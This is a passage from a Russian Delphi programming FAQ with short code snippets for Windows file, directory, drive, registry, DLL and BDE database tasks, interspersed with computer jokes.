   bSuccess: BOOL;
   dwBufferLen: DWORD;
   szSid: array[0..260] of Char;
 begin
   Result := '';
   bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True,
     hAccessToken);
   if not bSuccess then
   begin
     if GetLastError = ERROR_NO_TOKEN then
       bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY,
         hAccessToken);
   end;
   if bSuccess then
   begin
     ZeroMemory(@szSid, SizeOf(szSid));
     dwBufferLen := SizeOf(szSid);
     if ObtainTextSid(hAccessToken, szSid, dwBufferLen) then
       Result := szSid;
     CloseHandle(hAccessToken);
   end;
 end;
 end.

Как по имени Базы Данных получить ссылку на компоненет TDataBase.

Автор: Max Rezanov.

var
  db: TDataBase;
begin
  db := Session.FindDatabase(FDataBaseName);
  db.StartTransaction;

Универсальная функция возврата значения элемента даты.

Автор: Галимарзанов Фанис.

Универсальная функция возврата значения элемента даты (год, месяц, день, квартал):

function RetDate(inDate: TDateTime; inTip: integer): integer;
var
  xYear, xMonth, xDay: word;
begin
  Result := 0;
  DecodeDate(inDate, xYear, xMonth, xDay);
  case inTip of
    1: Result := xYear;  // год
    2: Result := xMonth; // месяц
    3: Result := xDay;   // день
    4: if xMonth < 4 then
         Result := 1
       else // квартал
       if xMonth < 7 then
         Result := 2
       else
       if xMonth < 10 then
         Result := 3
       else
         Result := 4;
  end;
end;

Как выяснить дату последнего изменения файла.

Статьи по Delphi (008)…
function GetFileDate(FileName: string): string;
var
  FHandle: Integer;
begin
  FHandle := FileOpen(FileName, 0);
  try
    Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
  finally
    FileClose(FHandle);
  end;
end;

Как получить дату и время создания файла в виде TDateTime.

Чтобы получить дату и время файла, необходимо вызвать функцию FileAge и преобразовать полученное значение при помощи функции FileDateToDateTime в значение TDateTime:

function GetFileDateTime(FileName: string): TDateTime;
var
  intFileAge: LongInt;
begin
  intFileAge := FileAge(FileName);
  if intFileAge = -1 then
    Result := 0
  else
    Result := FileDateToDateTime(intFileAge)
end;

Как определить день недели.

Все люди встретили новый век в этот новый год, а программисты встретят его в 2048 году.... т.к. по мнению программистов в 1 веке не 1000 лет, а 1024.
procedure TForm1.Button1Click(Sender: TObject);
var
  d: TDateTime;
begin
  d := StrToDate(Edit1.Text);
  ShowMessage(FormatDateTime('dddd',d));
end;

Как узнать путь базы данных и её имя.

Делается это при помощи dbiGetDatabaseDesc:

uses
  BDE;
procedure ShowDatabaseDesc(DBName: string);
const
  DescStr = 'Driver Name: %s'#13#10'AliasName: %s'#13#10 +
  'Text: %s'#13#10'Physical Name/Path: %s';
var
  dbDes: DBDesc;
begin
  dbiGetDatabaseDesc(PChar(DBName), @dbDes);
  with dbDes do
    ShowMessage(Format(DescStr, [szDbType, szName, szText, szPhyName]));
end;

Узнать физическое расположение локальной БД по Alias.

По Table(Query).Database:
uses
  DbiProcs;
function GetDirByDatabase(Database: TDatabase): string;
var
  pszDir: PChar;
begin
  pszDir := StrAlloc(255);
  try
    DbiGetDirectory(Database.Handle, True, pszDir);
    Result := StrPas(pszDir);
  finally
    StrDispose(pszDir);
  end;
end;
По алиасу:
function GetPhNameByAlias(sAlias: string): string;
var
  Database: TDatabase;
  pszDir: PChar;
begin
  Database := TDatabase.Create(nil); {allocate memory}
  pszDir := StrAlloc(255);
  try
    Database.AliasName := sAlias;
    Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
    Database.Connected := True; {connect without opening any table}
    DbiGetDirectory(Database.Handle, True, pszDir); {get the dir.}
    Database.Connected := False; {disconnect}
    Result := StrPas(pszDir); {convert to a string}
  finally
    Database.Free; {free memory}
  end;
end;

Определение типа базы данных.

Автор: OAmiry (Borland)

"Могу ли я при помощи объекта Tdatabase узнать с каким типом базы данных он связан?".

{uses должен включать в себя db, dbitypes, dbiprocs }
procedure TForm1.FormCreate(Sender: TObject);
var
  rDB: DBDesc ;
begin
  { Первый аргумент DbiGetDatabaseDesc - имя псевдонима базы данных типа PChar }
  Check(DbiGetDatabaseDesc('IBLOCAL', @rDB)) ;
  { член szDbType структуры DBDesc содержит информацию о типе
  базы данных и имеет тип PChar }
  ShowMessage( 'Database имеет тип: ' + StrPas(rDB.szDbType) ) ;
  { Совет: Если вам просто необходимо узнать - 
  SQL server это или нет, используйте свойсто TDatabase
  IsSQLBased }
end;

Получение DC элемента управления.

{Bitmap в TImage}
HDC:=Image1.PICTURE.bitmap.canvas.handle; 

DC - что-нибудь с Canvas.handle.

Как узнать Browser по умолчанию.

Автор: http://www.swissdelphicenter.ch

{
First we create a temporary file and call the
function FindExecutable to get the associated Application.
}
function GetAppName(Doc: string): string;
var
  FN, DN, RES: array[0..255] of char;
begin
  StrPCopy(FN, DOC);
  DN[0] := #0;
  RES[0] := #0;
  FindExecutable(FN, DN, RES);
  Result := StrPas(RES);
end;
function GetTempFile(const Extension: string): string;
var
  Buffer: array[0..MAX_PATH] of char;
  aFile: string;
begin
  GetTempPath(SizeOf(Buffer) - 1, Buffer);
  GetTempFileName(Buffer, 'TMP', 0, Buffer);
  SetString(aFile, Buffer, StrLen(Buffer));
  Result := ChangeFileExt(aFile, Extension);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  f: System.Text;
  temp: string;
begin
  // get a unique temporary file name
  // eine eindeutige Temporare Datei bekommen
  temp := GetTempFile('.htm');
  // Create the file
  // Datei erstellen
  AssignFile(f, temp);
  rewrite(f);
  closefile(f);
  // Show the path to the browser
  // Pfad + Programmname zum Browser anzeigen.
  ShowMessage(GetAppName(temp));
  // Finally delete the temporary file
  // Temporaare Datei wieder loschen
  Erase(f);
end;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//Using the Registry:
//************************************************
uses
  Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  KeyName: string;
  ValueStr: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    KeyName := 'htmlfile\shell\open\command';
    if Reg.OpenKey(KeyName, False) then
    begin
      ValueStr := Reg.ReadString('');
      Reg.CloseKey;
      ShowMessage(ValueStr);
    end
    else
      ShowMessage('There is nоt a default browser');
  finally
    Reg.Free;
  end;
end;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//************************************************
 {Copyright (c) by Code Central}
type
  TBrowserInformation = record
    Name: string;
    Path: string;
    Version: string;
  end;
function LongPathName(ShortPathName: string): string;
var
  PIDL: PItemIDList;
  Desktop: IShellFolder;
  WidePathName: WideString;
  AnsiPathName: AnsiString;
begin
  Result := ShortPathName;
  if Succeeded(SHGetDesktopFolder(Desktop)) then
  begin
    WidePathName := ShortPathName;
    if Succeeded(Desktop.ParseDisplayName(0, nil, PWideChar(WidePathName),
      ULONG(nil^), PIDL, ULONG(nil^))) then
    try
      SetLength(AnsiPathName, MAX_PATH);
      SHGetPathFromIDList(PIDL, PChar(AnsiPathName));
      Result := PChar(AnsiPathName);
    finally
      CoTaskMemFree(PIDL);
    end;
  end;
end;
function GetDefaultBrowser: TBrowserInformation;
var
  tmp: PChar;
  res: LPTSTR;
  Version: Pointer;
  VersionInformation: Pointer;
  VersionInformationSize: Integer;
  Dummy: DWORD;
begin
  tmp := StrAlloc(255);
  res := StrAlloc(255);
  Version := nil;
  try
    GetTempPath(255, tmp);
    if FileCreate(tmp + 'htmpl.htm') <> -1 then
    begin
      if FindExecutable('htmpl.htm', tmp, res) > 32 then
      begin
        Result.Name := ExtractFileName(res);
        Result.Path := LongPathName(ExtractFilePath(res));
        // Try to determine the Browser Version
        VersionInformationSize := GetFileVersionInfoSize(Res, Dummy);
        if VersionInformationSize > 0 then
        begin
          GetMem(VersionInformation, VersionInformationSize);
          GetFileVersionInfo(Res, 0, VersionInformationSize,
            VersionInformation);
          VerQueryValue(VersionInformation,
            ('StringFileInfo040904E4ProductVersion'),
            Pointer(Version), Dummy);
          if Version <> nil then
            Result.Version := PChar(Version);
          FreeMem(VersionInformation);
        end;
      end
      else
        ShowMessage('Cannot determine the executable.');
      SysUtils.DeleteFile(tmp + 'htmpl.htm');
    end
    else
      ShowMessage('Cannot create temporary file.');
  finally
    StrDispose(tmp);
    StrDispose(res);
  end;
end;

Как узнать путь к браузеру по умолчанию.

Автор: http://www.swissdelphicenter.ch

uses
  Registry;
{....}
procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  KeyName: string;
  ValueStr: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    KeyName := 'htmlfile\shell\open\command';
    if Reg.OpenKey(KeyName, False) then
    begin
      ValueStr := Reg.ReadString('');
      Reg.CloseKey;
      Label1.Caption := ValueStr;
    end
    else
      ShowMessage('No Default Webbrowser !');
  finally
    Reg.Free;
  end;
end;

Получить установленный по умолчанию Screen Saver.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Inifiles, ShellApi;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   Ini: TInifile;
   ScreenSaverFile: string;
      function GetLongFileName(const FileName: string): string;
   var
     aInfo: TSHFileInfo;
   begin
     if SHGetFileInfo(PChar(FileName), 0, aInfo, SizeOf(aInfo), SHGFI_DISPLAYNAME) <> 0 then
       Result := string(aInfo.szDisplayName)
     else
       Result := FileName;
   end;
      begin
   Ini := TInifile.Create('system.ini');
   ScreenSaverFile := GetLongFileName(Ini.Readstring('boot', 'SCRNSAVE.EXE', 'Not Available'));
   Ini.Free;
   label1.Caption := ScreenSaverFile;
 end;

Как во время компиляции модуля определить, под какой версией Delphi она происходит.

Статьи по Delphi (008)…

Вечный вопрос: - Что было раньше: компилятор или исходники компилятора?

Используйте.

{$IFDEF VERXXX}
...
{$ELSE}
...
{$ENDIF} 
Пользуйтесь вот такой таблицей:
     * VER80 -- Delphi 1
     * VER90 -- Delphi 2
     * VER93 -- C++Builder 1
     * VER100 -- Delphi 3
     * VER110 -- C++Builder 3
     * VER120 -- Delphi 4
     * VER130 -- Delphi 5

Как получить имя папки рабочего стола (не через registry).

Автор: Nomadic Просто очень хочется поработать с shell functions.

В этом примере делается и это.

procedure TForm1.Button1Click(Sender: TObject);
  procedure madd(s: string);
  begin
    memo1.lines.add(s);
  end;
var
  ppmalloc: imalloc;
  id: ishellfolder;
  pi: pitemidlist;
  lpname: tstrret;
begin
  if succeeded(shgetspecialfolderlocation(0, CSIDL_PROGRAMS, pi)) then
  begin
    madd('Succeeded programs location');
    if succeeded(shgetdesktopfolder(id)) then
    begin
      madd('Succeeded get desktop folder');
      if succeeded(id.getdisplaynameof(pi, 0, lpname)) then
      begin
        madd('Succeeded get display name');
        if lpname.uType = 2 then
        begin
          madd(lpname.cstr);
        end;
      end
      else
        madd('UnSucceeded get display name');
    end
    else
      madd('UnSucceeded get desktop folder');
  end
  else
    madd('UNSucceeded programs location');
end;

Как взять Handle рабочего стола для манипуляций с иконками рабочего стола.

Девушка приходит к психологу. - На что жалуетесь? - Да вот доктор, депрессия, все надоело, мужики козлы, подруги стервы. - Я думаю, вам нужно обновить свою жизнь, - сделать стрижку, переставить мебель в комнате. - Все перепробовала, уж и не знаю, что еще сделать. - Хм... О ! Попробуйте переставить иконки на своем рабочем столе...

Рабочий стол перекрыт сверху компонентом ListView. Вам просто необходимо взять хэндл этого органа управления. Пример:

function GetDesktopListViewHandle: THandle;
var
  S: string;
begin
  Result := FindWindow('ProgMan', nil);
  Result := GetWindow(Result, GW_CHILD);
  Result := GetWindow(Result, GW_CHILD);
  SetLength(S, 40);
  GetClassName(Result, PChar(S), 39);
  if PChar(S) <> 'SysListView32' then
    Result := 0;
end;

После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView, определенный в модуле CommCtrl, для того, чтобы манипулировать рабочим столом. Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.

К примеру, следующая строка кода:

SendMessage(GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0);

Разместит иконки рабочего стола по левой стороне рабочего стола Windows.

Получение даты создания каталога.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение даты создания каталога
Функция определяет дату и время создания каталога и возвращает результат в формате TDateTime.
См. также: http://delphibase.endimus.com/?action=viewfunc&topic=fileattr&id=10497
Зависимости: Windows
Автор:       Dimka Maslov, mainbox@endimus.com, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        4 февраля 2004 г.
***************************************************** }
function GetDirTime(const Dir: string): TDateTime;
var
  H: Integer;
  F: TFileTime;
  S: TSystemTime;
begin
  H := CreateFile(PChar(Dir), $0080, 0, nil, OPEN_EXISTING,
    FILE_FLAG_BACKUP_SEMANTICS, 0);
  if H <> -1 then
  begin
    GetFileTime(H, @F, nil, nil);
    FileTimeToLocalFileTime(F, F);
    FileTimeToSystemTime(F, S);
    Result := SystemTimeToDateTime(S);
    CloseHandle(H);
  end
  else
    Result := -1;
end;

Пример использования:

ShowMessage(DateTimeToStr(GetDirTime('c:\Program Files')));

Вывести все файлы директории.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure ListFileDir(Path: string; FileList: TStrings);
 var
   SR: TSearchRec;
 begin
   if FindFirst(Path + '*.*', faAnyFile, SR) = 0 then
   begin
     repeat
       if (SR.Attr <> faDirectory) then
       begin
         FileList.Add(SR.Name);
       end;
     until FindNext(SR) <> 0;
     FindClose(SR);
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ListFileDir('C:\WINDOWS\', ListBox1.Items);
 end;

Вычисление размера каталога.

Статьи по Delphi (008)…
uses FileCtrl;
function DirSize(Dir: string): integer;
var
  SearchRec: TSearchRec;
  Separator: string;
  DirBytes: integer;
begin
  Result:=-1;
  if Copy(Dir,Length(Dir),1)='\' then
    Separator := ''
  else
    Separator := '\';
  if FindFirst(Dir+Separator+'*.*',faAnyFile,SearchRec) = 0 then
  begin
    if FileExists(Dir+Separator+SearchRec.name) then
      DirBytes := DirBytes + SearchRec.Size
    else
    if DirectoryExists(Dir+Separator+SearchRec.name) then
    begin
      if (SearchRec.name<>'.') and (SearchRec.name<>'..') then
        DirSize(Dir+Separator+SearchRec.name);
    end;
    while FindNext(SearchRec) = 0 do
    begin
      if FileExists(Dir+Separator+SearchRec.name) then
        DirBytes := DirBytes + SearchRec.Size
      else
      if DirectoryExists(Dir+Separator+SearchRec.name) then
      begin
        if (SearchRec.name<>'.') and (SearchRec.name<>'..') then
          DirSize(Dir+Separator+SearchRec.name);
      end;
    end;
  end;
  FindClose(SearchRec);
  Result:=DirBytes;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  DirBytes: integer;
begin
  DirBytes := DirSize('c:\windows');
  Form1.Label1.Caption := IntToStr(DirBytes);
end;

Как подсчитать занимаемое директорией место.

Источник: http://www.proext.com

var
  DirBytes: integer;
function TFileBrowser.DirSize(Dir: string): integer;
var
  SearchRec: TSearchRec;
  Separator: string;
begin
  if Copy(Dir, Length(Dir), 1) = '\' then Separator := ''
  else Separator := '\';
  if FindFirst(Dir + Separator + '*.*', faAnyFile, SearchRec) = 0 then begin
    if FileExists(Dir + Separator + SearchRec.Name) then begin
      DirBytes := DirBytes + SearchRec.Size;
      {Memo1.Lines.Add(Dir+Separator+SearchRec.Name);}
    end
    else
      if DirectoryExists(Dir + Separator + SearchRec.Name) then begin
        if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
          DirSize(Dir + Separator + SearchRec.Name);
      end;
    while FindNext(SearchRec) = 0 do begin
      if FileExists(Dir + Separator + SearchRec.Name) then begin
        DirBytes := DirBytes + SearchRec.Size;
        {Memo1.Lines.Add(Dir+Separator+SearchRec.Name);}
      end
      else
        if DirectoryExists(Dir + Separator + SearchRec.Name) then begin
          if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then begin
            DirSize(Dir + Separator + SearchRec.Name);
          end;
        end;
    end;
  end;
  FindClose(SearchRec);
end;

Определение суммарного размера файлов в папке, включая вложенные.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение суммарного размера файлов в папке, включая вложенные
Процедура и функция для определения суммарноо размера файлов в папке с учётом вложенных папок.
Первая процедура вычисляет размер файлов сканируя указанную т вложенные папки.
Имеется возможность определения промежуточного результата при помощи функции
обратного вызова (callback function).
Аргументы процедуры:
Dir - папка, в которой необходимо вычислить размер файлов
IncludeSubDirs - логическая переменная, определяющая необходимость сканирования вложеныых папок
Result - переменная типа Int64, в которую записывается результат.
Перед передачей в процедуру значение переменной должно быть обнулено.
CallbackProc - адрес процедуры обратного вызова, имеющий тип TGetDirSizeCallbackProc -
процедура, принимающая два параметра: определяемое пользователем число типа Integer
и размер файлов, определённый на момент вызова процедуры.
CallbackTag - определяемое пользователм число, передаваемое в процедуру обратного вызова.
Применение последних двух примеров см. Пример использования.
Вторая функция просто возвращает размер файлов, принимая только два параметра Dir и IncludeSubDirs
Зависимости: SysUtils
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        13 сентября 2002 г.
***************************************************** }
type
  TGetDirSizeCallback = procedure(Tag: Integer; CurrentSize: Int64);
procedure GetDirSize(Dir: string; IncludeSubDirs: Boolean; var Result: Int64;
  CallbackProc: TGetDirSizeCallback = nil; CallbackTag: Integer = 0); overload;
var
  SearchRec: TSearchRec;
  FindResult: Integer;
begin
  Dir := IncludeTrailingBackslash(Dir);
  FindResult := FindFirst(Dir + '*.*', faAnyFile, SearchRec);
  try
    while FindResult = 0 do
      with SearchRec do
      begin
        if (Attr and faDirectory) <> 0 then
        begin
          if IncludeSubDirs and (Name <> '.') and (Name <> '..') then
            GetDirSize(Dir + Name, IncludeSubDirs, Result, CallbackProc,
              CallbackTag);
        end
        else
        begin
          Result := Result + Cardinal(Size);
          if Assigned(CallbackProc) then
            CallbackProc(CallbackTag, Result);
        end;
        FindResult := FindNext(SearchRec);
      end;
  finally
    FindClose(SearchRec);
  end;
end;
function GetDirSize(Dir: string; IncludeSubDirs: Boolean = True): Int64;
  overload;
begin
  GetDirSize(Dir, IncludeSubDirs, Result, nil, 0);
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  S: Int64;
begin
  S := 0;
  GetDirSize('с:\WINDOWS', True, S, @TForm1.GetDirCallback, Integer(Self));
  Label1.Caption := IntToStr(S);
end;
procedure TForm1.GetDirCallback(CurrentSize: Int64);
begin
  Label1.Caption := IntToStr(CurrentSize);
  Label1.Repaint;
end;

Процедура вычисления размера каталога.

Автор: Panov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедура вычисления размера каталога
Вычисляет размер файлов в каталоге и подкаталогах,
использую функции FindFirst/FindNext/FindClose
Зависимости: Masks;
Автор:       panov, panov@hotbox.ru
Copyright:   Нет
Дата:        30 марта 2004 г.
***************************************************** }
procedure GetDirSize(const aPath: string; var SizeDir: Int64);
var
  SR: TSearchRec;
  tPath: string;
begin
  tPath := IncludeTrailingBackSlash(aPath);
  if FindFirst(tPath + '*.*', faAnyFile, SR) = 0 then
  begin
    try
      repeat
        if (SR.Name = '.') or (SR.Name = '..') then
          Continue;
        if (SR.Attr and faDirectory) <> 0 then
        begin
          GetDirSize(tPath + SR.Name, SizeDir);
          Continue;
        end;
        SizeDir := SizeDir +
          (SR.FindData.nFileSizeHigh shl 32) +
          SR.FindData.nFileSizeLow;
      until FindNext(SR) <> 0;
    finally
      Sysutils.FindClose(SR);
    end;
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  SizeDir: Int64;
begin
  SizeDir := 0;
  GetDirSize('c:\winnt', SizeDir);
  ShowMessage('Размер каталога ' + IntToStr(SizeDir));
end;

Как определить размер свободного места на диске.

Для получения размера свободного места на дисках, ёмкость которых больше 2Гб, необходимо использовать функцию GetDiskFreeSpaceEx. Ниже приведён небольшой пример использования данной функции:

var
  FreeBytesAvailableToCaller: TLargeInteger;
  FreeSize: TLargeInteger;
  TotalSize: TLargeInteger;
begin
  GetDiskFreeSpaceEx('c:',
    FreeBytesAvailableToCaller,
    Totalsize,
    @FreeSize);
end;

Результатом будет значение в байтах.

Получение идентификатора диска.

Автор: Vasili Pincuk
Только что прошло сообщение по компьютерным сетям!!! Внимание!!!! Предупреждение!!! Новый вирус "Виагра"! Превращает ваш трех-с-половиной дюймовый флоппи в ХАРД-драйв!!!

Как получить идентификатор находящегося в CD-RОМ'е аудио-компакта?

const
  MCI_INFO_PRODUCT = $00000100;
  MCI_INFO_FILE = $00000200;
  MCI_INFO_MEDIA_UPC = $00000400;
  MCI_INFO_MEDIA_IDENTITY = $00000800;
  MCI_INFO_NAME = $00001000;
  MCI_INFO_COPYRIGHT = $00002000;
  { блок параметров для командного сообщения MCI_INFO }
  
type
  PMCI_Info_ParmsA = ^TMCI_Info_ParmsA;
  PMCI_Info_ParmsW = ^TMCI_Info_ParmsW;
  PMCI_Info_Parms = PMCI_Info_ParmsA;
  TMCI_Info_ParmsA = record
    dwCallback: DWORD;
    lpstrReturn: PAnsiChar;
    dwRetSize: DWORD;
  end;
  TMCI_Info_ParmsW = record
    dwCallback: DWORD;
    lpstrReturn: PWideChar;
    dwRetSize: DWORD;
  end;
  TMCI_Info_Parms = TMCI_Info_ParmsA;
Идентификатор возвращается функцией MCI_INFO_MEDIA_IDENTITY в виде строки с десятичным числом. Для получения дополнительной информации обратитесь к электронной справке (Win32 и компонент TMediaPlayer).

Исправления.

// метка диска
procedure GetDriveInfo(VolumeName: string;
  var VolumeLabel, SerialNumber, FileSystem: string);
var
  VolLabel, FileSysName: array[0..255] of char;
  SerNum: pdword;
  MaxCompLen, FileSysFlags: dword;
begin
  New(SerNum);
  GetVolumeInformation(PChar(VolumeName), VolLabel,
    255, SerNum, MaxCompLen, FileSysFlags, FileSysName, 255);
  VolumeLabel := VolLabel;
  SerialNumber := Format('%x', [SerNum^]);
  FileSystem := FileSysName;
  Dispose(SerNum);
end;
// далее
var
  VolLabel, SN, FileSystem, S: string;
begin
  s := 'g:\'; // имя CD дисковода
  GetDriveInfo(S, VolLabel, SN, FileSystem);
получаем:
VolLabel   - 'ARMSTRONG' // метка диска
SN         -  B5FF77AD   // номер серийный
FileSystem -  CDFS       // тип файловой системы

Работает не только для CD для всех типов дисков ... Далее:

// метка диска
procedure GetAllDrive(Sender: TObject);
var
  i, mask: integer;
  s: string;
begin
  mask := GetLogicalDrives;
  i := 0;
  while mask <> 0 do
  begin
    s := chr(ord('a') + i) + ':\';
    if (mask and 1) <> 0 then
      case GetDriveType(PChar(s)) of
        0: ListBox1.Items.Add(s + ' unknown.');
        1: ListBox1.Items.Add(s + ' not exist.');
        DRIVE_REMOVABLE: ListBox1.Items.Add(s + ' removable.'); // floppy,zip
        DRIVE_FIXED: ListBox1.Items.Add(s + ' fixed.');
        DRIVE_REMOTE: ListBox1.Items.Add(s + ' network.');
        DRIVE_CDROM: ListBox1.Items.Add(s + ' CD-ROM.');
        DRIVE_RAMDISK: ListBox1.Items.Add(s + ' RAM.');
      end;
    inc(i);
    mask := mask shr 1;
  end;
end;
В ListBox1 получаем все диски на данном компьютере.

Whith best regards Vasili Pincuk ICQ 10558844 http://www.geocities.com/pvasili E-mail: pvasili@geocities.com.

Получение информации о диске.

Два компьютершика спорят: - Можно ли научить "комп" заикаться? - Да ты что никогда! Второй: - Берет магнит и начинает водить возле винчестера! В итоге получается песня Расторгуева+Леонидов: "Давай за баранку держись, давай брат шофер до конца"...
function GetVolumeInfoFVS(const Dir:string;
var FileSystemName,VolumeName:string;var Serial:longint):boolean;
{Получение информации о диске
Dir - каталог или буква требуемого диска
FileSystemName - название файловой системы
VolumeName - метка диска
Serial - серийный номер диска
В случае ошибки функция возвращает false}
var
  root:pchar;
  res:longbool;
  VolumeNameBuffer,FileSystemNameBuffer:pchar;
  VolumeNameSize,FileSystemNameSize:DWord;
  VolumeSerialNumber,MaximumComponentLength,FileSystemFlags:DWORD;
  s:string;
  n:integer;
begin
  n:=pos(':',Dir);
  if n> 0 then s:=copy(Dir,1,n+1) else s:=s+':';
  if s[length(s)]=':' then s:=s+'\';
  root:=pchar(s);
  getMem(VolumeNameBuffer,256);
  getMem(FileSystemNameBuffer,256);
  VolumeNameSize:=255;
  FileSystemNameSize:=255;
  res:=GetVolumeInformation(Root,VolumeNameBuffer,VolumeNameSize
  ,@VolumeSerialNumber,
  MaximumComponentLength, FileSystemFlags
  ,FileSystemNameBuffer,FileSystemNameSize);
  Result:=res;
  VolumeName:=VolumeNameBuffer;
  FileSystemName:=FileSystemNameBuffer;
  Serial:=VolumeSerialNumber;
  freeMem(VolumeNameBuffer,256);
  freeMem(FileSystemNameBuffer,256);
end;

Получить список дисков.

Статьи по Delphi (008)…
Приходит сантехник(С) к программисту(П) ремонтировать засорившуюся раковину. C. начинает ковыряться в отстойнике... С.- А у вас тут из сети все на винт падает...вот и забило.. П.- Надо винт больше ставить? С.- Нет, винт надо вообще спилить к #$%^&й матери.

Компонент, выводящий список дисков уже существует – TDriveComboBox, но он не всегда удобен. Я привожу пример программы, выводящей список дисков в двух разных видах.

procedure TForm1.Button1Click(Sender: TObject);
var
  i, j: integer;
  buf: array [0..499] of char;
  DrvStr: array [0..9] of char;
  LogDrives: set of 0..25;
begin
  integer(LogDrives) := GetLogicalDrives;
  for i := 0 to 25 do
    if (i in LogDrives) then
      ListBox1.Items.Add(chr(i + 65));
  GetLogicalDriveStrings(1000, buf);
  i := 0;
  repeat
    FillChar(DrvStr, SizeOf(DrvStr), #0);
    j := 0;
    repeat
      DrvStr[j] := buf[i];
      inc(j);
      inc(i);
    until
      (buf[i] = #0) or (j > 9);
    inc(i);
    ListBox2.Items.Add(DrvStr);
  until
    ((buf[i-1] = #0) and (buf[i] = #0)) or (i > 499);
end;

Определить тип дискового накопителя.

Статьи по Delphi (008)…
Объявление в Интернете: Куплю винчестер. Жёсткие диски не предлагать!

Нужно воспользоваться API функцией GetDriveType():

procedure TForm1.Button1Click(Sender: TObject);
begin
  case GetDriveType('C:\') of
    0: ShowMessage('The drive type cannot be determined');
    1: ShowMessage('The root directory does not exist');
    DRIVE_REMOVABLE: ShowMessage('The disk can be removed');
    DRIVE_FIXED: ShowMessage('The disk cannot be removed');
    DRIVE_REMOTE: ShowMessage('The drive is remote (network) drive');
    DRIVE_CDROM: ShowMessage('The drive is a CD-ROM drive');
    DRIVE_RAMDISK: ShowMessage('The drive is a RAM disk');
  end;
end;

Получение списка экспорта dll.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка экспорта dll
Функция GetImageFunctionList возвращает список всех экспортируемых функций dll
FileName - имя dll
Strings - объетк, в который будут занесен список экспорта.
ВАЖНО! Тестировано только под NT4
Зависимости: Windows, ImageHlp
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   Mystic
Дата:        21 апреля 2002 г.
***************************************************** }
function EnumSymbols(SymbolName: PChar; SymbolAddress, SymbolSize: ULONG;
  Strings: Pointer): Bool; stdcall;
begin
  TStrings(Strings).Add(SymbolName);
  Result := True;
end;
function GetImageFunctionList(const FileName: string; Strings: TStrings):
  Boolean;
var
  Handle: THandle;
  hProcess: THandle;
  VersionInfo: TOSVersionInfo;
begin
  Strings.Clear;
  Result := False;
  SymSetOptions(SYMOPT_UNDNAME or SYMOPT_DEFERRED_LOADS);
  VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  if not GetVersionEx(VersionInfo) then
    Exit;
  if VersionInfo.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS then
    hProcess := GetCurrentProcessId
  else
    hProcess := GetCurrentProcess;
  if not SymInitialize(hProcess, nil, True) then
    Exit;
  try
    Handle := LoadLibrary(PChar(FileName));
    if Handle = 0 then
      Exit;
    try
      if not SymLoadModule(hProcess, 0, PChar(FileName), nil, Handle, 0) then
        Exit;
      try
        if not SymEnumerateSymbols(hProcess, Handle, EnumSymbols, Strings) then
          Exit;
      finally
        SymUnloadModule(hProcess, Handle);
      end;
    finally
      FreeLibrary(Handle);
    end;
  finally
    SymCleanup(hProcess);
  end;
  Result := True;
end;

Пример использования:

if not GetImageFunctionList('kernel32.dll', ListBox1.Items) then
  raise Exception.Create('Произошла ошибка');

Как из DLL узнать узнать полный путь к этой DLL.

function GetModuleFileNameStr(Instance: THandle): string;
var
  buffer: array [0..MAX_PATH] of Char;
begin
  GetModuleFileName( Instance, buffer, MAX_PATH);
  Result := buffer;
end;
GetModuleFileNameStr(Hinstance); // dll name
GetModuleFileNameStr(0); // exe name

Как получить версию моей DLL.

Приходит мужик в поликлинику - жаловаться на мужские проблемы, а там вместо врача - компьютер. Ну, он изложил суть проблем оператору, тот говорит: - Вставьте член в отверстие сбоку. Мужик вставил. Комп погудел-погудел да и выдал: "Your Version Expired".
procedure GetFileVersion(FileName: string; var Major1, Major2,
  Minor1, Minor2: Integer);
var
  Info: Pointer;
  InfoSize: DWORD;
  FileInfo: PVSFixedFileInfo;
  FileInfoSize: DWORD;
  Tmp: DWORD;
begin
  InfoSize := GetFileVersionInfoSize(PChar(FileName), Tmp);
  if InfoSize = 0 then
    //Файл не содержит информации о версии
  else
  begin
    GetMem(Info, InfoSize);
    try
      GetFileVersionInfo(PChar(FileName), 0, InfoSize, Info);
